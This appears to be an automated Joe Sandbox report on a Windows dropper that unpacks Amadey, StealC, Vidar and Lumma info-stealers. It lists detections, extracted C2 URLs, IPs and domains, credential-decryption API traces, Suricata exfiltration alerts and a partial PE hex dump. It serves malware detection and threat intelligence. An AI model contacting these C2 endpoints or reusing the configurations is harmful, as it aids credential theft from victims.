Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Avira: detection malicious, Label: TR/AD.Stealc.bkskc

Found malware configuration

Source: 00000007.00000002.2297402826.0000000000251000.00000040.00000001.01000000.00000009.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 4.2.7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe.530000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: 4.2.7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe.530000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: file.exe.1672.0.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["studennotediw.store", "clearancek.site", "licendfilteo.site", "spirittunek.store", "mobbipenju.store", "dissapoiznw.store", "eaglepawnoy.store", "bathdoomgaz.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Uses Microsoft's Enhanced Cryptographic Provider

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6EA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	4_2_6C6EA9A0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6E4440 PK11_PrivDecrypt,	4_2_6C6E4440
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6B4420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	4_2_6C6B4420
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6E44C0 PK11_PubEncrypt,	4_2_6C6E44C0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C7325B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	4_2_6C7325B0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6C8670 PK11_ExportEncryptedPrivKeyInfo,	4_2_6C6C8670
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6EA650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	4_2_6C6EA650
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6CE6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	4_2_6C6CE6E0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C70A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	4_2_6C70A730
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C710180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	4_2_6C710180
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6E43B0 PK11_PubEncryptPKCS1,PR_SetError,	4_2_6C6E43B0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C707C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	4_2_6C707C00
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6C7D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	4_2_6C6C7D60
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C70BD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	4_2_6C70BD30
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C709EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	4_2_6C709EC0
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Code function: 4_2_6C6E3FF0 PK11_PrivDecryptPKCS1,	4_2_6C6E3FF0

Uses 32bit PE files

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49990 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49996 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:49998 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:50016 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50025 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50027 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:50029 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:50035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:50038 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.5:50039 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2499679717.000000006F8DD000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: nss3.pdb@ source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2499170679.000000006C7BF000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: nss3.pdb source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2499170679.000000006C7BF000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: DIKGVVY9JNEBJRBXL.exe, 00000006.00000003.2256599403.0000000004F00000.00000004.00001000.00020000.00000000.sdmp, DIKGVVY9JNEBJRBXL.exe, 00000006.00000002.2390709410.00000000007A2000.00000040.00000001.01000000.0000000A.sdmp
Source:	Binary string: mozglue.pdb source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2499679717.000000006F8DD000.00000002.00000001.01000000.0000000F.sdmp

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\CEF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\PeerDistRepub	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\PlaceholderTileLogoFolder	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Comms	Jump to behavior

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 188MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.5:62212 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.5:65215 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.5:64208 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.5:55501 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.5:55513 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.5:57351 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.5:56470 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.5:63071 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49737 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49737 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.37:80 -> 192.168.2.5:49737
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49737 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.37:80 -> 192.168.2.5:49737
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49737 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:49987 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.5:61622 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.5:58024 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.5:65534 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.5:59719 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.5:58390 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.5:55105 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.5:59540 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.5:63882 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:49988
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49991 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044623 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) : 192.168.2.5:49994 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.5:55467 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.5:56448 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.5:51211 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.5:53326 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.5:56421 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.5:53211 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49997 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.5:62460 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50010 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50005 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.5:59702 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.5:53097 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.5:61152 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.5:64192 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.5:52205 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.5:59048 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.5:52718 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.5:59641 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.5:51714 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50045 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50048 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.5:49704 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49705 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49705 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49706 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49706 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49708 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49712 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.5:49996 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:50000 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50000 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50039 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:50035 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49998 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49998 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.5:50029 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:50038 -> 104.21.53.8:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.5:49990 -> 104.102.49.254:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: studennotediw.store
Source: Malware configuration extractor	URLs: clearancek.site
Source: Malware configuration extractor	URLs: licendfilteo.site
Source: Malware configuration extractor	URLs: spirittunek.store
Source: Malware configuration extractor	URLs: mobbipenju.store
Source: Malware configuration extractor	URLs: dissapoiznw.store
Source: Malware configuration extractor	URLs: eaglepawnoy.store
Source: Malware configuration extractor	URLs: bathdoomgaz.store
Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Downloads executable code via HTTP

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 23 Oct 2024 23:09:08 GMTContent-Type: application/octet-streamContent-Length: 1915392Last-Modified: Wed, 23 Oct 2024 22:45:47 GMTConnection: keep-aliveETag: "67197c9b-1d3a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 60 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 4c 00 00 04 00 00 8e 93 1d 00 02 00 